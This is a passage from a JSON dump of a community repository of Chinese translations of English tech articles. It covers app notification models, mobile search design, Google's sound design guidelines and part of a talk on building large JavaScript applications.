[Stimulus](https://stimulusjs.org) 构建。设计师采用的所有工具都是容易上手和且实际的，因为设计师主要关注的是 HTML 和 CSS，以及一些用于交互的 JavaScript。\n\n它并不像是一个秘密！实际上，我们在 Basecamp 开发的允许设计人员以这种方式工作的框架都已经开源。虽然现在对设计师而言，JavaScript 的环境并不友好，甚至像是一场人为的灾难，但也仍然可以做出不同的选择并达到不同的设计。\n\n有一件事是肯定的：我不会回到过去！不要回到设计师的黑暗时代，他们无法使自己的设计独立工作，无法直接改变，也无法将它们部署上线！\n\n我同样不感兴趣的是回到你需要一个由极少人组成的专家团队来完成任何工作的想法。那种“全栈”在某种程度上是一种讽刺而不是使设计师自给自足。设计师对他们的创造力的概念要求负担过重，他们应该被鼓励去学习如何在使用网站开发的原材料（HTML、CSS 和 JS）去呈现自己的想法。全栈那样的想法就不用了，谢谢！\n\n设计一款现代化的网页，通过令人愉快的设计取悦用户，这并不是难以理解的复杂迷宫。我们正是这样做的！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/designing-notifications-for-applications.md",
    "content": "> * 原文地址：[Designing notifications for apps: Explore different notification models and when to use which](https://medium.muz.li/designing-notifications-for-applications-3cad56fecf96)\n> * 原文作者：[Shashank Sahay](https://medium.muz.li/@shashanksahay?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/designing-notifications-for-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO1/designing-notifications-for-applications.md)\n> * 译者：[Ryden Sun](https://juejin.im/user/585b9407da2f6000657a5c0c/posts)\n> * 校对者：[pkuwwt](https://github.com/pkuwwt) [sanfran1068](https://github.com/sanfran1068)\n\n# 为应用程序设计通知提醒\n\n## 探索不同的通知提醒模型以及如何去选择\n\n![](https://cdn-images-1.medium.com/max/2000/1*iMPfw0qHQdgGzVdtAdJooQ.png)\n\n通知提醒模型\n\nMedium 的读者们，我们又见面啦。这里是我们的功能分解系列文章的第五期：应用程序的通知提醒模型。当前，通知提醒算是一个处理起来比较复杂的功能。这篇文章不会覆盖其所有的痛点，但是我希望可以为你提供足够清晰的理解，并在选择合适的应用程序通知提醒模型时，为你指明一个方向。\n\n在我们开始讨论通知提醒模型之前，我们简要的看一下通知提醒的介绍以及它是由什么组成的。通知提醒是由应用程序发送给用户的一系列消息提示。这里是一些其重要的组成部分。\n\n![](https://cdn-images-1.medium.com/max/2000/1*QbGBgcZWdNJ9C_VR6ORPxg.png)\n\n通知提醒模型 — 图解\n\n**来源：** 应用的这部分是通知提醒的起源。一个应用的架构可以有多个由信息分类组成的部分，并且这些部分是通知提醒的来源。\n\n**信息：** 信息是一条需要通过通知提醒的方式传达给用户的消息。比如“嫦娥妹妹请求添加你为好友”或者“康熙开始关注你啦”。\n\n**类型：** 通知提醒主要可分为两部分：通知型和可操作型。所有的类型都可根据其应用的内容有更深入的细分。\n\n**通知标记:** 通知提醒提供可视化标示来引导用户查看通知。这些标示可以只是简单的点状符号，还可以加上未读消息的数目。\n\n**锚点：** 锚点是应用程序界面上显示通知的可视化组件。简单来说，就是用户看到的通知标记所在的那个组件。简单来说，这个部分就是用户在哪里可以看到通知标记。注意，锚点不一定是通知的来源，只不过是显示通知的位置。一个锚点可以显示一个或多个来源的消息。换一句话说，消息来源是架构/信息层面的概念，而锚点只不过是实现层面让你可以看到通知标记的可视化组件。\n\n通知提醒是应用程序用来和用户通讯的媒介，应用程序用通知提醒向用户发送信息，并且可能吸引用户重回应用。因此，它们是一个应用程序很重要的部分。让我来给你介绍一些最流行的通知提醒模型，并且合适去选择最合适的模型。\n\n### 1. 通知中心\n\n在这个模型里，会有一个明确的区域来落地所有的通知提醒。通知中心可以是一一整块专门的屏幕或者根据目前可用空间来弹出的界面。这个模型里，所有的通知提醒，不管其来源如何，都统一被放在通知中心。通过通知中心，你可以导航至不同通知提醒的源头。一个有通知标记的铜铃图标，就是所有通知提醒的入口。已读和未读通知提醒有一个可见的不同是很重要的，可以让用户来区别他们。\n\n![](https://cdn-images-1.medium.com/max/2000/1*mFXz_7bAx1xn7_D2GhNP-Q.png)\n\nMedium — 通知中心\n\n这个模型最大的优势在于它的灵活性。这个地方可以容纳所有的通知提醒，不管是已存在或是新的来源。\n\n#### 指导方针\n\n*   所有不同类型的通知提醒都需要被考虑到，并且采用统一的设计形式。当设计此形式时，很重要的一点，是要将其可扩展性当做我们的首要目标。\n*   如果你有太多不同来源的通知提醒，那这种模型可能会变得有一些杂乱。如果有相似的通知提醒类型，你应该将它们组合起来，以此来减少重复。举个例子，“王昭君和其他三个人请求添加您为好友”。\n*   确保通知中心很容易被用户发现并访问到。\n\n#### 什么时候使用通知中心\n\n*   你的产品有通知提醒的需求，而这些通知无法集成到任何已有的导航选项中。原因可能是通知与产品上已存在的对象不一致，或者通知并不源自于当前信息架构中定义的任何消息源。\n*   可能还有更多的消息源头无法在应用程序的首页显示。\n*   你的时间有限。可能还没来得及考虑清楚每一种可能的场景及相应的锚点，你就必须交付一个功能了。这种情况下，通知中心是你简单的解决方案，并且它天生就很灵活。\n\n### 2. 锚点在消息源上的通知提醒\n\n这个模型里，每一个通知提醒都固定于一个导航选项，最可能的选择是消息源。这里没有一个承载所有通知提醒的中心。看一看 WhatsApp 会有一个更清晰的认识。在两个平台（android 和 iOS）上，来源于聊天或者通话的通知的锚点都置于其相应的导航菜单上。这个模型的优势在于它能引导用户发现更多内容。通过这种方式，用户可以直接访问到通知所传递的消息内容，无需多一个中间层。但这个模型并不像通知中心那样灵活和可扩展。\n\n![](https://cdn-images-1.medium.com/max/2000/1*c2kNVbmXqVkyom8mHhPtsw.png)\n\nWhatsApp — 锚点在消息源上的通知提醒\n\n这个模型强烈依赖于应用程序的信息架构。导航必须容纳所有不同类型的通知。类似于前面的模型，已读和未读通知提醒有一个可见的不同是很重要的，可以让用户来区别他们。\n\n#### 指导方针\n\n*   确保每个通知提醒的锚点都能对应到应用程序首页的某个导航选项上。随着你应用复杂度的增长，通知提醒的数目也会增加。这种情况下，你可以投向通知中心的怀抱，或者考虑一种混合模型（那就是锚点模型和通知中心的结合）。我们会在下一节讲到混合模型。\n*   每一个锚点都应有一个对应其所含内容的设计形式。确保你的通知契合锚点的设计形式。为了理解这个，让我们看一下 WhatsApp 的例子。锚点“聊天”有一个设计形式，它定义了一个聊天对象看起来应该是什么样子。这意味着每一个锚点固定于聊天的通知提醒都应该服从这种设计形式。这同样被用来设计“通话”的通知提醒。\n*   确保锚点易于发现和访问。避免使用嵌套锚点。\n\n#### 什么时候使用锚点在消息源上的通知提醒\n\n*   当所有可能的消息通知来源都可以被首页容纳。\n*   你已考虑到所有可能使用到通知提醒的场景，并且所有的通知提醒都可以适用于已存在的设计形式。很重要的一点是这些通知提醒应该遵守其锚点所在的消息源的设计形式。\n\n### 3. 混合模型\n\n这种模型是前面两种的结合。这种模型是最常被使用的。有很多比较火的应用是使用这种模式的，如 Facebook, LinkedIn, Twitter 和 Instagram。这些应用中，通知中心变成了导航菜单上的一个选项，它可以是不同来源的锚点，这些来源都不还不够资格在首页展示。比如，Facebook 把请求添加好友的通知锚点到“朋友”选项，但邀请点赞被锚点到了通知中心。\n\n![](https://cdn-images-1.medium.com/max/2000/1*xQ8ULaQ6PFvPueFQOYxTpQ.png)\n\nFacebook — 混合模型\n\n这种模型有以上两种模型的优点，并且可以轻易地适用大多数情况。即使现在你有能力将消息提醒锚点到通知中心，但依旧有必要考虑所有的场景并且将它们排出优先级，找到那些可以适用锚点于来源的通知提醒。\n\n就像锚点在消息源上的通知提醒模型，这个模型也严重依赖于导航菜单，而且还有一个通知中心的菜单选项。\n\n#### 指导方针\n\n*   找出产品架构中最重要的那些信息，并对其优先级排序，这样你才可以决定哪些锚点应放在消息源，哪些应放在通知中心。因为此模型依赖于导航，通知提醒的配置可能会因可用空间的变化而改变。\n*   确保首屏的导航中容易找到主要的锚点和通知中心\n\n#### 什么时候使用混合模型\n\n*   你有考虑过所有通知提醒的使用场景。你有一些通知提醒的锚点可以放在消息源上，但是还有一些无法放在当前架构的任何消息源上\n*   你的架构中存在嵌套的消息源。比如，Facebook 应用程序的汉堡式菜单图标是一个锚点，它对应于多个消息源，比如 Groups、Watch、Memories、Saved 和 Marketplace 等等。\n\n### 结论\n\n以上所有提到的模型在正确的使用场景下都是很有用的。你的应用程序选择使用哪种模型取决于产品的信息架构和你青睐的消息通知类型。\n\n### 不要忘记点赞\n\n10 次不错，20 次更好，但 50 次是最好的。直接按住按钮不放就行了。:P\n\n希望这篇文章有助于你为应用程序选择合适的通知提醒模型。如果你有任何的反馈，在评论中让我们知道。\n\n* * *\n\n#### 特别鸣谢\n\n[Shailly Kishtawal](https://medium.com/@shailly.kishtawal) 的头脑风暴。[Prerna Pradeep](https://www.linkedin.com/in/prernapradeep/) 在内容上的帮助。以及 [Dhruvi Shah](https://www.linkedin.com/in/dhruvishah394/) 和 [Tanvi Kumthekar](https://medium.com/@tanvikumthekar) 的早期反馈。\n\n点击下面链接来查看之前的功能分解系列文章。\n\n1.  [Medium Claps: Why it’s so difficult?](https://medium.muz.li/feature-breakdown-1-medium-claps-40fc7de4539b)\n2.  [Google Search Results: List View vs Grid View](https://medium.muz.li/feature-breakdown-2-google-search-results-list-vs-grid-1f3f26d66656)\n3.  [YouTube Search Query: Why doesn’t it go away?](https://medium.muz.li/feature-breakdown-3-youtube-search-query-web-25c6d318f6d)\n4.  [Designing search for mobile apps](https://medium.muz.li/designing-search-for-mobile-apps-ab2593e9e413)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/designing-search-for-mobile-apps.md",
    "content": "> * 原文地址：[Designing search for mobile apps](https://medium.muz.li/designing-search-for-mobile-apps-ab2593e9e413)\n> * 原文作者：[Shashank Sahay](https://medium.muz.li/@shashanksahay?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/designing-search-for-mobile-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/designing-search-for-mobile-apps.md)\n> * 译者：[吃土小2叉](https://github.com/xunge0613)\n> * 校对者：[rydensun](https://github.com/rydensun)、[Wangalan30](https://github.com/Wangalan30)\n\n# 为移动应用设计搜索功能\n\n## 探索实现搜索功能的各种方式及其背后的理念\n\n![](https://cdn-images-1.medium.com/max/2000/1*KMCNd82pJP-lUQIoZaxpGQ.png)\n\n第四期功能探索：移动应用的搜索功能\n\n经过了前三期的功能探索后，这次我又为你们准备了一个有趣的主题 —— **移动应用的搜索功能**。当然搜索功能相当复杂，因此本文并未涵盖所有相关的内容。而我将讨论如何从应用的两种最常见的搜索方式之间进行选择：首页搜索栏或底部导航栏的搜索标签。\n\n在本文中，我将针对当前最受欢迎的两种移动应用搜索功能的使用方法：首页的搜索栏以及底部导航栏的搜索标签，来讨论如何选择搜索功能的设计方法。\n\n### 移动应用的搜索功能\n\n许多常用的应用都具备搜索功能。而这些应用实现搜索的方式却可能大相径庭。可是为什么对同一个功能需要不同的实现方式呢？是因为某一种比另外一种更好吗？让我们一起分析下。\n\n### 1. 首页的搜索栏\n\n![](https://cdn-images-1.medium.com/max/2000/1*L8hbI6zINOlZwUoCXvq0YQ.png)\n\n首页的搜索栏\n\n以下是一些常用应用的屏幕截图，它们在首页添加了搜索栏。而**搜索栏**往往都出现在首页顶部，因此很容易被用户看到。\n\n在这种情况下，该搜索方式满足了那些搜索时带有明确意图用户的需求。任何这个平台可能给出的建议或帮助都会基于用户输入的关键字来给出。\n\n**（此解释也适用于在首页右上角有搜索图标的应用。我将这两种案例放在一起，因为它们在可发现性，可访问性方面非常相似，甚至用户需要点击的次数都相同。）**\n\n### 2. 底部导航栏的搜索标签\n\n![](https://cdn-images-1.medium.com/max/2000/1*htxb3xD_rwZOeDkjGc5YnA.png)\n\n底部导航栏的搜索标签\n\n下面是一些将搜索功能做成底部导航栏的一个标签的应用的截图。这种搜索方式虽然不像在首页添加搜索栏那样容易发现，但是考虑到用户可以轻松用拇指触碰到，这也不失为一种易访问的方法。\n\n通常这种情况下，搜索会独占一个屏幕。屏幕顶端有一个搜索栏，屏幕中其余空间会填充一些有助于帮助用户搜索或探索平台内容的数据。这有助于尚未有明确意图的用户进行**探索式搜索**。\n\n### 搜索框还是搜索标签？\n\n这两种搜索方式分别满足了用户的不同的需求。不仅如此，搜索方式的使用也取决于平台的类型以及平台所提供的内容的种类。\n\n#### 使用首页上的搜索栏的场景\n\n1. **用户打开应用的主要目的可能就是搜索**。举个例子，比如 Google Maps，Uber 或 Zomato。大多数情况下，人们打开这些应用恰恰是要搜索位置，餐馆或菜肴。\n2. **用户在搜索时有明确的意图**，例如 Facebook 的用户通常会寻找其他用户或主页。大多数情况下，他们明确地知道自己想要搜索的用户或主页的名字可能是什么，即使他们也许并不能确定如何拼写。对于这类平台，用户对于他们搜索的东西所知信息十分模糊的可能性很低。而且即使真的有这种可能性，平台也无法帮助到用户。\n\n#### 使用搜索作为底部导航栏的一个标签的场景\n\n1. 希望帮助用户在平台上探索和发现新内容来**增强用户参与度**。举个例子，比如 Instagram 和 Twitter。这些平台希望吸引用户在应用上停留的时间更长，因此他们提供来自用户的社交圈以外的个性化内容，以帮助用户发现可能感兴趣的新用户或新内容。\n2. **用户不确定他们正在寻找什么**，该应用可以引导用户找到他们想要的东西。举个例子，比如 Netflix 和 Uber Eats。它们允许用户通过浏览各种流派和美食的方式来探索应用。这满足了那些想要看喜剧却不知道该看哪一部的用户的需求。\n\n### 现在，一起来看看 Airbnb ？\n\n![](https://cdn-images-1.medium.com/max/2000/1*yhxaOzAg5yPGXeIdHPVRPw.png)\n\nAirbnb（爱彼迎）\n\nAirbnb 结合了这两种搜索方式：首页上有一个搜索栏，同时首页本身又是搜索/浏览标签所在页。\n\n鉴于 Airbnb 的情况，我相信这很重要。他们这样做同时满足了两类用户 —— 有着明确目的地的用户会选择搜索栏（这些是有着**明确意图**的用户），而没有确定目的地的用户则会选择去探索目的地（他们是需要**探索式搜索**的用户）。\n\n### 结论\n\n这两种不同模式各有利弊。它们都适用于特定场景。通过上述案例，我们可以得出结论：有两个因素决定了应该使用哪种搜索方式 —— 用户访问应用的意图以及应用本身能提供的内容。\n\n\n* * *\n\n#### 特别鸣谢\n\n感谢 [Tanvi Kumthekar](https://medium.com/@tanvikumthekar) 和 [Shailly Kishtawal](https://medium.com/@shailly.kishtawal) 的头脑风暴。  \n感谢 [Dhruvi Shah](https://www.linkedin.com/in/dhruvishah394/)、[Nisshtha Khattar](https://www.linkedin.com/in/nisshtha-khattar-9ab554159/)、[Preethi Shreeya](https://uxplanet.org/@preethishreeya1) 和 [Prasanth Marimuthu](https://www.linkedin.com/in/prasanthuxer/) 的反馈意见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/designing-sound-and-silence.md",
    "content": "> * 原文地址：[Designing Sound and Silence](https://medium.com/google-design/designing-sound-and-silence-1b9674301ec1)\n> * 原文作者：[Conor O'Sullivan](https://medium.com/@conoros)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/designing-sound-and-silence.md](https://github.com/xitu/gold-miner/blob/master/TODO1/designing-sound-and-silence.md)\n> * 译者：[CLOXnu](https://github.com/CLOXnu/)\n> * 校对者：[Baddyo](https://github.com/Baddyo), [Charlo-O](https://github.com/Charlo-O)\n\n# 声音设计与无声设计\n\n> 这是 Google 有史以来第一个有关产品声音的设计指南\n\n即便我们在睡觉的时候，声音的体验也无处不在。我们的大脑对背景声音非常敏感，善于决定何时关注（或忽略）。然而，我们在今天的产品设计中传达的大部分信息都是基于视觉和屏幕的。投资声音和触觉设计是个良机 —— 它们不仅让沟通更高效，还另辟蹊径，用其他感官弥补了一部分我们对视觉领域的要求。\n\n![](https://cdn-images-1.medium.com/max/6002/1*nQ84iSly5nrDkiNjPgHyUQ.png)\n\n我花了 20 年时间为产品设计声音（包括 [摩托罗拉的 HELLOMOTO 铃声](https://soundcloud.com/musicandsound/moto-ringtone)，[Xbox 控制台音效](https://soundcloud.com/musicandsound/sets/xbox-sounds)，以及 [Google 的「G」的音效](https://design.google/library/sound-and-vision/)），并获得了有关如何善用声音来优化新兴技术的设计的宝贵见解。我还发现，在为消费产品设计音效时，**无声设计** 与声音设计同样重要。当然，我很强调无声设计的概念，但我并不是说我们将不再设计声音；声音固然重要。然而，产品设计师需要重新思考如何使用声音 —— 不仅仅是针对个别的音效 —— 还要考虑如何精心编排这些音效使最终听众感到和谐。声音设计师应该努力创造一种产品本身真实想要表达的声音背景，通过明智地使用声音还可以增强交互的流畅性。\n\n无声设计就像是负空间的视觉体验一样。\n\n在 Google，我们已经将有关声音设计的知识汇集在一起，以供任何人应用，这是有史以来第一个 [声音设计指南](https://material.io/design/sound/about-sound.html)。这些指南给我们提供了如何使用 —— 和不使用 —— 来创造与产品协调一致的体验、增强用户交互以及让听众获得身临其境的听觉体验的最佳实践。根据我的经验，了解并体验声音设计的力量的最好方式就是试音，用视觉的角度来试听声音，以聆听它给整个设计带来了什么感觉，并使用我们提供的指导原则，把音效创作过程录下来。考虑到这一点，我们还为设计人员提供了一组 [可下载的声音](http://material.io/design/sound/sound-resources.html)，以便轻松地开始在产品中使用。\n\n声音设计和无声设计不仅可以让团队构建一个出色的产品，还可以培养一个更加感官的用户体验 —— 从听觉开始。\n\n***\n\n听起来不错？详细了解 Google 的声音设计指南（[Material Sound guidelines](https://material.io/design/sound/about-sound.html)）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/designing-very-large-javascript-applications.md",
    "content": "> * 原文地址：[Designing very large (JavaScript) applications](https://medium.com/@cramforce/designing-very-large-javascript-applications-6e013a3291a3)\n> * 原文作者：[Malte Ubl](https://medium.com/@cramforce?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/designing-very-large-javascript-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO1/designing-very-large-javascript-applications.md)\n> * 译者：[Shery](https://github.com/shery15)\n> * 校对者：[Starrier](https://github.com/Starriers) [Allen](https://github.com/allenlongbaobao)\n\n# 设计大型 JavaScript 应用程序\n\n这是我在 JavaScript 澳大利亚开发者大会（JSConf AU）上演讲内容的文字编辑记录。[在 YouTube 上观看整个演讲视频](https://www.youtube.com/watch?v=ZZmUwXEiPm4)。\n\n![](https://cdn-images-1.medium.com/max/800/1*DqvlkOgHSKmp5Tu1eX5mdw.png)\n\n幻灯片文本：你好，我曾经构建过非常大型的 JavaScript 应用。\n\n你好，我曾经构建过非常大型的 JavaScript 应用。我不再那么做了，所以我认为现在是个好时机来回顾并分享我学到的东西。昨天我在会议聚会上喝啤酒时，有人问我：“嘿，马尔特，究竟是什么赋予了你权利和权威，来讲这个话题？”我想这个问题的答案实际上就是这个演讲的主题，尽管我通常觉得谈论自己有点奇怪。大概是因为，我在谷歌构建了这样一个 JavaScript 框架。它被 Google 照片，Google 协作平台，Google+，Google 云端硬盘，Google Play，搜索引擎，所有这些网站使用。其中一些项目非常大，你可能已经使用了其中的一些。\n\n![](https://cdn-images-1.medium.com/max/800/1*v0r4OVf-RXr9ePakdmv5LQ.png)\n\n幻灯片文本：我认为 React 很好。\n\n这个 Javascript 框架不是开源的。它不是开源的原因是它与 React 同时出现，我想“世界是否真的需要另一个 JS 框架来做选择？”。谷歌已经拥有了一些 JS 框架，Angular 和 Polymer，并且我觉得再有一个会让人们感到困惑，所以我只是认为我们应该把它留给我们自己。但除了不是开源的，我认为还是有很多东西可以从中学习，值得分享我们一路上学到的东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*LL3uYYDMT5uIFRxR_7JxPQ.png)\n\n一张人山人海的图片.\n\n所以，我们来谈谈非常大型的应用,以及他们之间的共同点。当然可能会有很多开发者参与其中。可能有几十人甚至更多，他们都有自己的情感和人际问题，你必须要考虑到这一点。\n\n![](https://cdn-images-1.medium.com/max/800/1*WEH24kaBbar8-1gzN_AO3w.png)一张非常古老建筑的图片.\n\n即使你的规模不大，也许你已经在这个领域工作了一段时间，也许你甚至不是第一个维护它的人，你可能不了解项目的所有结构或者内容，可能有些东西是你不太明白的，你的团队中可能还有其他人不了解应用程序的所有信息。这些都是我们在构建非常大型的应用程序时，必须考虑的事情。\n\n![](https://cdn-images-1.medium.com/max/800/1*fzb42X35lNGmkQHhJLhEBQ.png)\n\n推特: 一个没有初级工程师的高级工程师团队是一个工程师团队。\n\n我想在这里做的另一件事是以我们的职业生涯说明下背景。我想我们很多人会认为自己是高级工程师。或者是还差一点点，但我们想成为一个高级工程师。我认为高级的意思是我几乎可以解决其他人可能抛出的任何问题。我熟悉我的工具，我熟悉我的领域。而这项工作的另一个重要部分是我让初级工程师最终成为高级工程师。\n\n![](https://cdn-images-1.medium.com/max/800/1*xpRJ1dXHMlFq1V4oDKU__w.png)\n\n幻灯片文本：初级 -> 高级 -> ?\n\n但是会发生什么呢？在某种程度上，我们可能会怀疑“下一步可能是什么？”。当我们达到这个高级阶段时，我们接下来要做什么？对于我们中的一些人来说，答案可能是做管理，但我认为这不应该成为每个人的答案，因为不是每个人都应该成为管理者，对吗？我们中有些人是非常优秀的工程师，为什么我们不应该在我们的余生中也这样做？\n\n![](https://cdn-images-1.medium.com/max/800/1*wL5wiTWICj1keue9YZOAhQ.png)\n\n幻灯片文本：“我知道我会如何解决问题”\n\n我想提出一种方法来升级到高级水平。我把自己当作高级工程师的方式是，我会说：“我知道如何解决这个问题”，并且因为我知道如何解决这个问题，所以我也可以教别人去解决它。\n\n![](https://cdn-images-1.medium.com/max/800/1*UyLoKH7y54JAYigVlwCJpQ.png)\n\n幻灯片文本：“我知道别人怎么解决这个问题”\n\n我的理论是，下一个层次是我可以对自己说：“我知道**别人**会如何解决这个问题”。\n\n![](https://cdn-images-1.medium.com/max/800/1*zBBGLRIZw94gp54pspvx-g.png)\n\n幻灯片文本：“我可以预测 API 选择和抽象如何影响其他人解决问题的方式。”\n\n让我们更具体一点。你说了这样一句话：“我可以预见我做出 API 选择时，或者我往项目中引入抽象时，它们如何影响其他人解决问题。”我认为这是一个强大的概念，可以让我思考我所做的选择对应用程序的影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*LnDv6Ry0Hq2MaQEARaD8rg.png)\n\n幻灯片文本：同理心的应用。\n\n我会称之为同理心的应用。你在和其他软件工程师一起思考，你在思考你所做的事情以及你给他们的 API 是怎么样的，以及它们如何影响其他工程师编写软件。\n\n![](https://cdn-images-1.medium.com/max/800/1*pnYiZTAfQqsbeS7kVkLe_g.png)\n\n幻灯片文本：对简易模式感同身受。\n\n幸运的是，这是对简易模式感同身受。同理心通常很难，而且这仍然非常困难。但至少与你有同感的人，他们也是软件工程师。尽管他们可能与你截然不同，但他们至少同你一样也在开发软件。当你获得更多的经验时，你可以很擅长的运用这种类型的同理心。\n\n![](https://cdn-images-1.medium.com/max/800/1*Op0wLWIqwZ-A5iSuWrqtKA.png)\n\n幻灯片文本：编程模型。\n\n考虑到这些话题，我想谈谈一个非常重要的术语，那就是编程模型，这个词我会用很多次。它代表“给定一套 API，库，框架或工具，人们如何在这种背景下编写软件”。我演讲的真正内容是关于 API 等细微变化对编程模型的影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*zuLA-tH9b8k4i1yfKMScmA.png)\n\n幻灯片文本：影响编程模型的示例：React，Preact，Redux，Date picker，npm。\n\n我想举几个影响编程模型的例子：假设你有一个 Angular 项目，并且你说：“我将把它移植到 React 中”，这显然会改变人们编写软件的方式，对吧？但是接下来你想：“啊哈，60 KB 就为了使用一点虚拟 DOM 操作，让我们切换到 Preact”，这是一个 与 React API 兼容的库，即使你做出了这个选择，它也不会改变人们编写软件的方式。或许随着项目的进展，你会觉得“单单 React 自有的状态管理还不够，应用会变得很复杂，我应该有一些东西来管理应用状态，我会引入 Redux”，这将改变人们编写软件的方式。然后又来了个新需求“我们需要一个日期选择器”，你到 npm 上进行搜索，有 500 个结果，你选了一个日期组件。你挑选哪一个真的很重要吗？它绝对不会改变你编写软件的方式。但是，npm 以及它的庞大生态集合，绝对会改变你编写软件的方式。当然，这些只是可能影响人们如何编写软件的几个例子。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*KfcGnWC3WcwBqGYLPiybgw.png)\n\n幻灯片文本：代码分割.\n\n现在我想谈谈所有大型 JavaScript 应用在将它们交付给用户时的一个共同点：它们最终变得非常大，以至于你不希望一开始就把整个应用一次性传输给用户。为此，我们引入了这种称为代码分割的技术。代码分割意味着你为应用程序定义了一组打包。所以，你会说“有些用户只使用我的应用程序的这一部分，有些用户使用另一部分”，因此，当用户实际使用应用程序时，只有使用到的部分才被下载执行。这是我们所有人都可以做到的。像许多事情一样，它是由闭包编译器实现的 —— 至少在 JavaScript 世界中。但我认为使用 webpack 进行代码分割是最流行的方式。如果你使用的是 RollupJS，这是超棒的，他们最近也增加了对代码分割的支持。代码分割绝对是你们应该做的事情，但是当你将它引入到应用程序中时有一些事情需要考虑，因为它确实对编程模型有影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*vAR8HCbwiwX8bVa0xIsk6g.png)\n\n幻灯片文本：同步 -> 